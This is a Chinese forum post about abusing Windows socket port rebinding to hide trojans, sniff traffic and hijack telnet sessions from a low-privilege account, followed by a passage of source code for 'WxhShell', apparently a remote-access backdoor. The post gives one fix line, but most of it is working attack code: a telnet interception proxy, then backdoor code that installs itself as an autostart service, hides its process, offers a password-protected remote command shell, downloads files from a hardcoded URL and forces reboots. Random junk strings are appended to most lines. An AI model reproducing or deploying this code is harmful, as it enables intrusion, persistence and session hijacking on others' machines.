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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {//;GC*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X_yAx)Do  
cn1UFmT  
  saddr.sin_family = AF_INET; i`-,=RJ  
q 65mR!)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *GxOiv7"4W  
{[~cQgCI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); es}j6A1  
n\8;4]n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nA:\G":\y  
o  RT<h  
  这意味着什么?意味着可以进行如下的攻击: /[Oo*}Dc=F  
*k)v#;B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tHlKo0S$0  
|_q:0qo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $2u^z=`b!%  
NjT#p8d X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 T~B'- >O  
)c vA}U.z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^B[%|{cO  
%Z|]"=;6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 m/W0vPM 1  
:2#8\7IU^'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^+Ho#]  
)aY^k|I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q:A{@kFq_  
Xq"@Z  
  #include r,^}/<*  
  #include TNY d_:j  
  #include Y@WCp  
  #include    XEd|<+P1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QIl![%  
  int main() *Jd,8B/hC  
  { xi5/Wc6  
  WORD wVersionRequested; >y<yFO{  
  DWORD ret; 4h:R+o ^H^  
  WSADATA wsaData; ISo{>@a-  
  BOOL val; -]=-IiC#  
  SOCKADDR_IN saddr; nv WTx4oy  
  SOCKADDR_IN scaddr; jn+NX)9  
  int err; n7UZ&ab  
  SOCKET s; 2q2;Uo`"S.  
  SOCKET sc; YXC?q  
  int caddsize; ,>-Q#  
  HANDLE mt; )*&I|L<1  
  DWORD tid;   EA )28]Y.  
  wVersionRequested = MAKEWORD( 2, 2 ); " bHeNWZ  
  err = WSAStartup( wVersionRequested, &wsaData ); <.c@l,[.z  
  if ( err != 0 ) { \VW&z:/*pZ  
  printf("error!WSAStartup failed!\n"); FS.z lk\D=  
  return -1; gemjLuf  
  } .\*3t/R=X  
  saddr.sin_family = AF_INET; <,S0C\la=  
   bI^zwK,@4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?H9F"B$a  
Up|\&2_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r.e,!Bs  
  saddr.sin_port = htons(23); ,6[}qw) *  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $"Oy }  
  { \Fh k>  
  printf("error!socket failed!\n"); 1k@k2rE  
  return -1;  YM9oVF-  
  } %9|=\# G  
  val = TRUE; :j/PtNT@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K`PmWxNPh  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]Y[8|HJ8  
  { }vOUf# ^k  
  printf("error!setsockopt failed!\n"); WWF#&)ti  
  return -1; *"E?n>b  
  } >/Z#{;kOz  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uNLB3Rdy}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hA`>SkO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XezO_V  
zE V J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NEQcEUd?  
  { nbYkr*: "t  
  ret=GetLastError(); 2aUz.k8o  
  printf("error!bind failed!\n"); an3HKfv  
  return -1; uh`@qmu)  
  } !x.^ya  
  listen(s,2); #)%N+Odnr  
  while(1) P9J3Ii!  
  { f}bUuQrH-!  
  caddsize = sizeof(scaddr); amf=uysr  
  //接受连接请求 [~)i<V|qJ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8eP2B281  
  if(sc!=INVALID_SOCKET) 0_bt*.w I+  
  { RVfRGc^lK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wxZnuCO%H8  
  if(mt==NULL) #&">x7?5  
  { ?Gl'-tV  
  printf("Thread Creat Failed!\n"); c1/G yq  
  break; ;?;D(%L  
  } 9#%(%s 2 +  
  } e#k9}n^+  
  CloseHandle(mt); < W,k$|w  
  } -mZo`  
  closesocket(s); 0c1}?$f[?%  
  WSACleanup(); ac.O#6&  
  return 0; SPsq][5eR  
  }   ;:*o P(9k  
  DWORD WINAPI ClientThread(LPVOID lpParam) p)ta c*US  
  { BmrP]3W?  
  SOCKET ss = (SOCKET)lpParam; +nd'Uf   
  SOCKET sc; ?w# >Cs(  
  unsigned char buf[4096];  wB5zp  
  SOCKADDR_IN saddr; l{#m"S7J^  
  long num; #`a-b<uz  
  DWORD val; /+RNPQO O  
  DWORD ret; U^Z[6u  
  //如果是隐藏端口应用的话,可以在此处加一些判断 UF<|1;'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J+\F)k>r  
  saddr.sin_family = AF_INET; v\-"NHl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _DC/`_'  
  saddr.sin_port = htons(23); w0SzK-&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Epns s  
  { Z/wh?K3y  
  printf("error!socket failed!\n"); 5?;'26iC  
  return -1; '! 1ts@  
  } 1`O`!plD+  
  val = 100; /N%f78 Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ErESk"2t  
  { CG9X3%xO%  
  ret = GetLastError(); (6+6]`c$  
  return -1; $%r|V*5  
  } H.idL6*G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !u6~#.7  
  { !+ uMH!  
  ret = GetLastError(); A</[Q>8  
  return -1; 6j"(/X|Ex5  
  } +ZRsa`'^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]Vb#(2<2  
  { 5.?O PK6  
  printf("error!socket connect failed!\n"); ,;+\!'lS  
  closesocket(sc); mApn(&  
  closesocket(ss); "fpj"lf-  
  return -1; TdKl`"Iy  
  } /#:RYM'Tu  
  while(1) Q`vyDoF  
  { >^-[Mpa(*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =\XAD+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `n5c|`6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G0Wd"AV+  
  num = recv(ss,buf,4096,0); \Flq8S/t^  
  if(num>0) (VOKa  
  send(sc,buf,num,0); +XpRkX&-  
  else if(num==0) chd${ j  
  break; 4|2$b:t  
  num = recv(sc,buf,4096,0); N\uQ-XOi  
  if(num>0) c%Gz{':+  
  send(ss,buf,num,0); dX$])b_Uw  
  else if(num==0) cEqh|Q  
  break; ;! 9_5Ar%  
  } < `r+l5  
  closesocket(ss); M:I,j  
  closesocket(sc); Cfi2N V  
  return 0 ; j2P|cBXu  
  } .|aSGv E  
ReE3742@  
(D l"s`UH~  
========================================================== mCE})S  
Hug{9Hr3.  
下边附上一个代码,,WXhSHELL sN g"JQ  
41zeN++  
========================================================== ua[\npz5  
nB]Q^~jX  
#include "stdafx.h"  \1MDCP9:  
YiJu48J  
#include <stdio.h>  vXvV5Oq  
#include <string.h> }dHiW:J>  
#include <windows.h> 5`uS<[vA  
#include <winsock2.h> ^0&] .m  
#include <winsvc.h> E+)Go-rS(  
#include <urlmon.h> ?qbp  
L)+ eM&W  
#pragma comment (lib, "Ws2_32.lib") -,;Ep'  
#pragma comment (lib, "urlmon.lib") :mrGB3x{  
&f yFUg  
#define MAX_USER   100 // 最大客户端连接数 ?c2TT Q  
#define BUF_SOCK   200 // sock buffer 5ZcnZlOOQ  
#define KEY_BUFF   255 // 输入 buffer 9y4rw]4zI  
aOHCr>po,  
#define REBOOT     0   // 重启 s z\RmX  
#define SHUTDOWN   1   // 关机 Pc7: hu  
yq}{6IyZ^  
#define DEF_PORT   5000 // 监听端口 ~ YK <T+  
q KM]wu0Et  
#define REG_LEN     16   // 注册表键长度 :#/bA&  
#define SVC_LEN     80   // NT服务名长度 8joQPHkI\  
)^\='(s  
// 从dll定义API ;Kf|a}m-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q]wM/7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3CE8+PnT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -T?IkL)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Oi0;.< kX  
o x^lI  
// wxhshell配置信息 tD]&et  
struct WSCFG { (L >[,YO9  
  int ws_port;         // 监听端口 L:M9|/  
  char ws_passstr[REG_LEN]; // 口令 IDh`0/i]  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9oP{Al  
  char ws_regname[REG_LEN]; // 注册表键名 H g`{9v  
  char ws_svcname[REG_LEN]; // 服务名 |T_Pz& -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9|?Lz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,)$KS*f"*z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F2$bUY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2<G1'7)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {z/^X<T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $Je"z]cy-  
1Wk EPj,  
}; " ^baiN@ac  
WcwW@cY7\  
// default Wxhshell configuration 5TneuGD  
struct WSCFG wscfg={DEF_PORT, huJq#5?  
    "xuhuanlingzhe", U%DF!~n  
    1, /iy*3P,`  
    "Wxhshell", +M##mRD  
    "Wxhshell", ;3|Lw<D5;  
            "WxhShell Service", 'ZH<g8:=@  
    "Wrsky Windows CmdShell Service", U|7Qw|I7  
    "Please Input Your Password: ", NWHH.1|  
  1, 7~ese+\smG  
  "http://www.wrsky.com/wxhshell.exe", O*03PF^  
  "Wxhshell.exe" @k+G Cf  
    }; iQ!  
DIqT>HHZ  
// 消息定义模块 fuD1U}c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y8hg8J|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gZ"{{#:}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DV[ Jbl:)  
char *msg_ws_ext="\n\rExit."; gLaO#cQ%  
char *msg_ws_end="\n\rQuit."; ;2Ad])  
char *msg_ws_boot="\n\rReboot..."; `H2F0{\og  
char *msg_ws_poff="\n\rShutdown..."; wEfz2Eq  
char *msg_ws_down="\n\rSave to "; ]tQDk4&i  
*lerPY3 q  
char *msg_ws_err="\n\rErr!"; c,+(FQ9  
char *msg_ws_ok="\n\rOK!"; bN4&\d*u#  
?]\W8)  
char ExeFile[MAX_PATH]; ui56<gI-  
int nUser = 0; 7c29Ua~[  
HANDLE handles[MAX_USER]; 3_oD[ ])A  
int OsIsNt; t$y&=v  
h#@4@x{  
SERVICE_STATUS       serviceStatus; 2[LX\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |.8d,!5w}  
(]}x[F9l  
// 函数声明 u_4:#~b  
int Install(void); c#n4zdQd]5  
int Uninstall(void); Tw}?(\ya  
int DownloadFile(char *sURL, SOCKET wsh); @vdc)vN[ /  
int Boot(int flag); %89" A'g  
void HideProc(void); Zc4(tf9  
int GetOsVer(void); P^b:?%  
int Wxhshell(SOCKET wsl); ~"JE![XR  
void TalkWithClient(void *cs); -Ap2NpZ"t  
int CmdShell(SOCKET sock); +(z_"[l"  
int StartFromService(void); ~ ^rey  
int StartWxhshell(LPSTR lpCmdLine); ) ]/i  
o5=)~D{/G3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7cUR.PI#Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -[zdX}x.:  
&?/N}g@K  
// 数据结构和表定义 #JL&]Z+X6  
SERVICE_TABLE_ENTRY DispatchTable[] = ot@|blVC8  
{ {WYu 0J@  
{wscfg.ws_svcname, NTServiceMain}, yN9$gfJC^  
{NULL, NULL} IS,zy+w  
}; d,Cz-.'sOf  
<pTQpU  
// 自我安装 |t4Gz1"q=8  
int Install(void) J ?ztn  
{ .N5h V3  
  char svExeFile[MAX_PATH]; A~6%,q@^jh  
  HKEY key; Vqa5RVnI  
  strcpy(svExeFile,ExeFile); ig{A[7qN  
aW0u8Dz  
// 如果是win9x系统,修改注册表设为自启动 }mKGuCoH>  
if(!OsIsNt) { q Z8|B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jh37pI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C6K|:IK{  
  RegCloseKey(key); h^o+E2<]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =7 Jy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =oo[ Eyr  
  RegCloseKey(key); M|/oFV  
  return 0; |rr$U  
    } @T<ad7g-2J  
  } u iBl#J Q  
} &_"ORqn&  
else { 0n4g $JK7  
p&i. )/  
// 如果是NT以上系统,安装为系统服务 gW%pM{PW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %*$5!;  
if (schSCManager!=0) I*^5'N'  
{ J+{Ou rWt  
  SC_HANDLE schService = CreateService c:=7lI  
  ( O!:QJ ^8 d  
  schSCManager, E)C.eW /  
  wscfg.ws_svcname, 3.Ji5~  
  wscfg.ws_svcdisp, >F/XZ C  
  SERVICE_ALL_ACCESS, @)o0GHNP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9.xvV|Sp  
  SERVICE_AUTO_START, 1)$%Jr  
  SERVICE_ERROR_NORMAL, F(d:t!  
  svExeFile, (V$Zc0  
  NULL, d2RnQA  
  NULL, t:\l&R&  
  NULL, RTK}mhnV  
  NULL, n%F-cw  
  NULL z<a$q3!#  
  ); `&7mHa61  
  if (schService!=0) ]53O}sH>  
  { z(+&wa  
  CloseServiceHandle(schService); },rav]  
  CloseServiceHandle(schSCManager); G;/Q>V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #S%4?   
  strcat(svExeFile,wscfg.ws_svcname); -^yXLa;D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '0Lov]L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4avc=Y5  
  RegCloseKey(key); C`)_i3 ^  
  return 0; yk<VlS  
    } @|BD|{k  
  } "l TZ|k^  
  CloseServiceHandle(schSCManager); cA<<& C  
} cQX:%Ix=  
} N&"QKd l  
@}(SR\~N]  
return 1; \^9pW 2v  
} \]I  
(_K_`5d;QI  
// 自我卸载 L x.jrF|&  
int Uninstall(void) J@QdieW6  
{ f3G1r5x  
  HKEY key; oCVku:.  
ll%G!VR  
if(!OsIsNt) { +oZH?N4yaM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }%$OU =T  
  RegDeleteValue(key,wscfg.ws_regname); 3htq[Ren  
  RegCloseKey(key); <#y*h8IZ@t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nt~x&s  
  RegDeleteValue(key,wscfg.ws_regname); @ .gPJMA  
  RegCloseKey(key); K\(6 rS}N  
  return 0; yAG+] r  
  } Q.A \U>AgV  
} X FQNr`  
} s)k y/ce  
else { *g_w I%l  
eLV.qLBUs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e[{mVhg4E  
if (schSCManager!=0) p x#suy  
{ Efx=T$%^&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u]E.iXp  
  if (schService!=0) PO o%^'(  
  { 2 n)gpLIJ  
  if(DeleteService(schService)!=0) { d2~l4IL)~  
  CloseServiceHandle(schService); 5/?P|T   
  CloseServiceHandle(schSCManager); T@P!L  
  return 0; rslvsS:  
  } uw33:G  
  CloseServiceHandle(schService); 8KMv Ac  
  } CxDcY  
  CloseServiceHandle(schSCManager); s8vKKvs`9  
} VRbQdiZ{  
} . I==-|  
xE1'&!4O  
return 1; '#D8*OP^  
} o=_c2m   
zkexei4^<  
// 从指定url下载文件 "3}<8 c  
int DownloadFile(char *sURL, SOCKET wsh) "IFg RaP=  
{ !^WHZv4  
  HRESULT hr; J,5+47b1}R  
char seps[]= "/"; ? ?[g}>  
char *token; 8lP6-VA  
char *file; m`}{V5;  
char myURL[MAX_PATH]; y=Q!-~5|fF  
char myFILE[MAX_PATH]; C6jR=@42Q  
zzIr2so  
strcpy(myURL,sURL); |PP.<ce\-  
  token=strtok(myURL,seps); Ef@,hX  
  while(token!=NULL) {( tHk_q  
  { #;Tz[0  
    file=token; (Rd$VYuf  
  token=strtok(NULL,seps); I g \#f  
  } zT#`qCbT'J  
PsnGXcj  
GetCurrentDirectory(MAX_PATH,myFILE); X`JV R"=4  
strcat(myFILE, "\\"); QDTNx!WL  
strcat(myFILE, file); }]6f+  
  send(wsh,myFILE,strlen(myFILE),0); 27A!\pn  
send(wsh,"...",3,0); 7%;_kFRV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v }\,o%t^  
  if(hr==S_OK) T .n4TmF  
return 0; ~*.-  
else EWj gI_-  
return 1; 6b=q-0yj  
W|5_$p  
} ](jFwxU  
",Cr,;]  
// 系统电源模块 F]+~x/!  
int Boot(int flag) r ?m6$  
{ ;zH HIdQ>-  
  HANDLE hToken; 'T8W!&$  
  TOKEN_PRIVILEGES tkp; $8~e}8dt|  
Jkt4@h2Q}  
  if(OsIsNt) { 7h9U{4r: M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hi}RZMr1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p&b5% 4P  
    tkp.PrivilegeCount = 1; g(4bBa9y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t18$x "\4k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^Q}eatEn  
if(flag==REBOOT) { r'7LR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9jir* UI  
  return 0; j+IrqPKC^  
} [<c&|tfl  
else { Zu*K-ep"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "sUyHt-&  
  return 0; *m+BuGt|  
} Wr?'$:  
  } /e@H^Cgo  
  else { cmwPuK$  
if(flag==REBOOT) { kFLB> j97  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uBrMk  
  return 0; %3r:s`{  
} J @IS\9O  
else { =n(3o$r(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %kshQ%P)?  
  return 0; i5}4(sV  
} w8Sv*K  
} -V.d?A4"  
+j14Q$  
return 1; Z~  
} + kK  
Q,T"ZdQ  
// win9x进程隐藏模块 bpAv1udX-W  
void HideProc(void) Gbpw5n;e  
{ 26?W nu60  
K>:]Bx#F7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Io`P,l:  
  if ( hKernel != NULL ) Y$K!7Kq  
  { l\0w;:N3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <6TT)t<h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >4` dy  
    FreeLibrary(hKernel); R7 jmv n  
  } `O?T.p)   
PQmq5N6  
return; ;h=*!7:  
} z+}QZ >  
{@Yb%{+  
// 获取操作系统版本 Df =dt  
int GetOsVer(void) WS8+7O'1\  
{ ./vZe_o)j$  
  OSVERSIONINFO winfo; -/C)l)V}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  +ECDD'^!  
  GetVersionEx(&winfo); ^jB8Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %.v{N6  
  return 1; Jq.lT(E8D  
  else gU^$Sx7'  
  return 0; ~[o 4a'  
} [D "t~QMr  
TcTM]ixr  
// 客户端句柄模块 mbRq JT>@  
int Wxhshell(SOCKET wsl) g>0XxjP4  
{ RgdysyB  
  SOCKET wsh; vr^~yEr  
  struct sockaddr_in client; -~[9U,  
  DWORD myID; 5vAf7\*  
Jb)#fH$L  
  while(nUser<MAX_USER) 3ya1'qUC  
{ lE8&..~l$+  
  int nSize=sizeof(client); qSqI7ptA\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eivtH P  
  if(wsh==INVALID_SOCKET) return 1; enNiI$H]`_  
W%2 80\h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  XY.5Rno4  
if(handles[nUser]==0) o}Odw;  
  closesocket(wsh); unJid8Lo  
else N..j{FE  
  nUser++; ,oxcq?7#4  
  } n,HE0Zn]Y_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X{n- N5*  
do-ahl,  
  return 0; 'bGX-C  
} w;}@'GgL  
)k&a}u5y  
// 关闭 socket 8(.mt/MR  
void CloseIt(SOCKET wsh) x^|Vaf  
{ .@-9'<K?~  
closesocket(wsh); @~<j&FTT  
nUser--; I1X /Lj=  
ExitThread(0); '\~$dtI$  
} Y={&5Mir  
 nVu&/  
// 客户端请求句柄 ,:~0F^z  
void TalkWithClient(void *cs) B/5=]R  
{ j*e6 vX  
8Y0"Cejq  
  SOCKET wsh=(SOCKET)cs; e__@GBG  
  char pwd[SVC_LEN]; RT93Mt%P  
  char cmd[KEY_BUFF]; nJRS.xs  
char chr[1]; :+{ ?  
int i,j; n .!Ym X4  
a$"ib  
  while (nUser < MAX_USER) { 'Y$R~e^Y?  
<9=9b_z  
if(wscfg.ws_passstr) { {X2`&<i6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *5zrZ]^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^mAYBOE  
  //ZeroMemory(pwd,KEY_BUFF); G*S|KH  
      i=0; >FhK #*Pa  
  while(i<SVC_LEN) { 1Z[/KJ  
*Nyev]8  
  // 设置超时 "#v=IJy&r  
  fd_set FdRead; 7iHK_\tn  
  struct timeval TimeOut; h/x0]@M&  
  FD_ZERO(&FdRead); $Vc~/>  
  FD_SET(wsh,&FdRead); as=m`DqOh  
  TimeOut.tv_sec=8; _#$ *y  
  TimeOut.tv_usec=0; #j@71]GI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v+jsC`m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Rwr 2gMt7  
}SIGPVM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b{fQ|QD{^E  
  pwd=chr[0]; \#68;)+=  
  if(chr[0]==0xd || chr[0]==0xa) { o!:8nXw  
  pwd=0; K1V#cB WO  
  break; e]=!"nJ+  
  } 5Z4- Z  
  i++; #fj/~[Ajv  
    } y9#$O(G  
8/z3=O&  
  // 如果是非法用户,关闭 socket /7!""{1\\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H+ h07\? %  
} O]f/r,4@  
H _Va"yTO6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4tSv{B/}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %4 \OPw&  
_C\[DR0n  
while(1) { C"lJl k9g^  
n.hv!W0  
  ZeroMemory(cmd,KEY_BUFF); dD<fn9t  
{cpEaOyOM  
      // 自动支持客户端 telnet标准   &C>/L;  
  j=0; fC}R4f7C  
  while(j<KEY_BUFF) { 6h3HDFS7s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fQLt=Lrp  
  cmd[j]=chr[0]; `nUO l  
  if(chr[0]==0xa || chr[0]==0xd) { A]L%dFK  
  cmd[j]=0; _2btfY1U  
  break; 10#oG{ 9  
  } uP\lCqK,  
  j++; = 07Gy,=i  
    } ]nhr+;of/-  
7u\*_mrv  
  // 下载文件 ?S?2 0  
  if(strstr(cmd,"http://")) { )} DUMq7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :|o<SZ  
  if(DownloadFile(cmd,wsh)) ::n;VY2&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qH"Gm  
  else k`".  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rQTr8DYH  
  } ]a2W e`  
  else { g~UUP4<$"  
8+m H:O  
    switch(cmd[0]) { N8KQz_]9I  
  9;yn}\N `  
  // 帮助 6io, uh!  
  case '?': { C8a*Q"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gamr6I"K  
    break; OdMO=Hy6d  
  } 4[ryKPa,  
  // 安装 R~bC,`Bh  
  case 'i': { ZxGP/D  
    if(Install()) "i:T+#i({O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FZB~|3eq{  
    else P?BGBbC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )o!XWh  
    break; wPbkUVO  
    } {F&-7u0  
  // 卸载  2A4FaBq"  
  case 'r': { \qsw"B*tv`  
    if(Uninstall()) qDWsvx]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8#R?]Uwq  
    else BiE08,nj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bs`$ i ;&  
    break; =Nz0.:  
    } zr76_~B1u  
  // 显示 wxhshell 所在路径 wx=0'T-[  
  case 'p': { Z,N$A7SBE  
    char svExeFile[MAX_PATH]; y( r1I[W'  
    strcpy(svExeFile,"\n\r"); u% 2<\:~j  
      strcat(svExeFile,ExeFile); }~Q"s2  
        send(wsh,svExeFile,strlen(svExeFile),0); (_* wt]"'  
    break; ! BU)K'mj  
    } /EwGW  
  // 重启 F=G{)*Ih  
  case 'b': { 'NZGQeb K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %u?HF4S'  
    if(Boot(REBOOT)) N#N0Q0W=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jdeva t,&u  
    else { hwnx<f '  
    closesocket(wsh); tXF]t   
    ExitThread(0); Bz8 &R|~>"  
    } ~Pk0u{,4XQ  
    break; T+"f]v  
    } 8YY|;\F)J~  
  // 关机 :lcea6iO  
  case 'd': { B~r}c4R{7  
